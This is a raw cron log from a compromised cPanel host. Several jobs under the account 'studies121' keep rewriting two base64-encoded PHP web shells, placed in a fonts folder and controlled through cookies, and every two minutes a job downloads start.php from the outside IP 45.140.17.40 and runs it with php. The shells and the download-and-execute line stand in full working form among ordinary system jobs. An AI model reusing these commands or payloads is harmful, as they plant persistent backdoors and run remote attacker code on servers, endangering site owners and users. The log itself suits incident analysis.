Sep  5 00:55:01 ip-184-168-122-23 CROND[14740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:55:01 ip-184-168-122-23 CROND[14741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:55:01 ip-184-168-122-23 CROND[14742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:55:01 ip-184-168-122-23 CROND[14743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:55:01 ip-184-168-122-23 CROND[14744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:56:01 ip-184-168-122-23 CROND[14904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:56:01 ip-184-168-122-23 CROND[14906]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:56:01 ip-184-168-122-23 CROND[14905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:56:01 ip-184-168-122-23 CROND[14907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:56:01 ip-184-168-122-23 CROND[14908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:57:01 ip-184-168-122-23 CROND[15007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:57:01 ip-184-168-122-23 CROND[15011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:57:01 ip-184-168-122-23 CROND[15009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:57:01 ip-184-168-122-23 CROND[15012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:58:01 ip-184-168-122-23 CROND[15106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:58:01 ip-184-168-122-23 CROND[15108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:58:01 ip-184-168-122-23 CROND[15110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:58:01 ip-184-168-122-23 CROND[15109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:58:01 ip-184-168-122-23 CROND[15111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:59:01 ip-184-168-122-23 CROND[15195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:59:01 ip-184-168-122-23 CROND[15197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:59:01 ip-184-168-122-23 CROND[15196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:59:01 ip-184-168-122-23 CROND[15198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:00:01 ip-184-168-122-23 CROND[15291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:00:01 ip-184-168-122-23 CROND[15292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:00:01 ip-184-168-122-23 CROND[15290]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:00:01 ip-184-168-122-23 CROND[15297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:00:01 ip-184-168-122-23 CROND[15298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:00:01 ip-184-168-122-23 CROND[15299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:00:01 ip-184-168-122-23 CROND[15294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:00:01 ip-184-168-122-23 CROND[15295]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 01:01:01 ip-184-168-122-23 CROND[15397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:01:01 ip-184-168-122-23 CROND[15401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:01:02 ip-184-168-122-23 CROND[15400]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 01:01:02 ip-184-168-122-23 CROND[15399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:01:02 ip-184-168-122-23 CROND[15402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:01:02 ip-184-168-122-23 CROND[15404]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 01:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15404]: starting 0anacron
Sep  5 01:01:02 ip-184-168-122-23 anacron[15419]: Anacron started on 2026-09-05
Sep  5 01:01:02 ip-184-168-122-23 anacron[15419]: Normal exit (0 jobs run)
Sep  5 01:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15421]: finished 0anacron
Sep  5 01:02:02 ip-184-168-122-23 CROND[15500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:02:02 ip-184-168-122-23 CROND[15503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:02:02 ip-184-168-122-23 CROND[15505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:02:02 ip-184-168-122-23 CROND[15506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:02:02 ip-184-168-122-23 CROND[15502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:03:01 ip-184-168-122-23 CROND[15678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:03:01 ip-184-168-122-23 CROND[15680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:03:01 ip-184-168-122-23 CROND[15679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:03:01 ip-184-168-122-23 CROND[15681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:04:02 ip-184-168-122-23 CROND[15765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:04:02 ip-184-168-122-23 CROND[15767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:04:02 ip-184-168-122-23 CROND[15769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:04:02 ip-184-168-122-23 CROND[15768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:04:02 ip-184-168-122-23 CROND[15770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:05:02 ip-184-168-122-23 CROND[15859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:05:02 ip-184-168-122-23 CROND[15861]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:05:02 ip-184-168-122-23 CROND[15864]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:05:02 ip-184-168-122-23 CROND[15862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:05:02 ip-184-168-122-23 CROND[15865]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 01:05:02 ip-184-168-122-23 CROND[15860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:05:02 ip-184-168-122-23 CROND[15866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:06:01 ip-184-168-122-23 CROND[15956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:06:01 ip-184-168-122-23 CROND[15958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:06:01 ip-184-168-122-23 CROND[15957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:06:01 ip-184-168-122-23 CROND[15959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:06:01 ip-184-168-122-23 CROND[15960]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:07:02 ip-184-168-122-23 CROND[16054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:07:02 ip-184-168-122-23 CROND[16052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
